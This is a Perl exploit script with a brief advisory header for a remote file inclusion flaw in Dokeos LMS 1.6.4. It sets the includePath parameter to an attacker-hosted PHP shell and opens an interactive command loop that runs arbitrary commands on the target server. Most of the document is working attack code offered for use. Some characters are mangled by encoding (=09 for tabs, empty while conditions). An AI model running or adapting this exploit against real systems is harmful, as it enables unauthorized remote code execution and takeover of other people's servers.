#!/usr/bin/perl
############
# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie: beford
#
# uso:# =09perl own.pl
# =09=09perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#
# cmd shell example: system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable
# includePath in a include() function without being declared.
# This issue has already been fixed in current claroline.net version,
# but dokeos still uses a vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
=09print "[shell] \$";
=09while() {
=09=09$cmd=$_;
=09=09chomp($cmd);
=09=09if (!$cmd) {last;}
=09=09$xpl = LWP::UserAgent->new() or die;
=09=09$req = HTTP::Request->new(GET
=>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";
=09=09$res = $xpl->request($req);
=09=09$return = $res->content;
=09=09$return =~ tr/[\n]/[=EA]/;
=09=09if ($return =~/Error: HTTP request failed!/ ) {
=09=09=09print "\nInvalid path for phpshell\n";
=09=09=09exit;
=09=09} elsif ($return =~/^.Fatal.error/) {
=09=09=09print "\nInvalid Command, error.\n\n";
=09=09}
=09=09if ($return =~ /(.*)/) {
=09=09=09$finreturn = $1;
=09=09=09$finreturn=~ tr/[=EA]/[\n]/;
=09=09=09print "\r\n$finreturn\n\r";
=09=09=09last;
=09=09} else {
=09=09=09print "[shell] \$";
=09=09}
=09}
} last;
sub head() {
=09print "\n============================================================================\r\n";
=09print " Dokeos Learning Management System Remote File Include\r\n";
=09print "============================================================================\r\n";
}
sub usage() {
=09head();
=09print " Usage: perl own.pl \r\n\n";
=09print " - Full Path : http://host/dokeos/ \r\n";
=09print " - PhpShell : http://atacate/shell.gif \r\n";
=09print " - var name used in phpshell : cmd \r\n\r\n";
=09exit();
}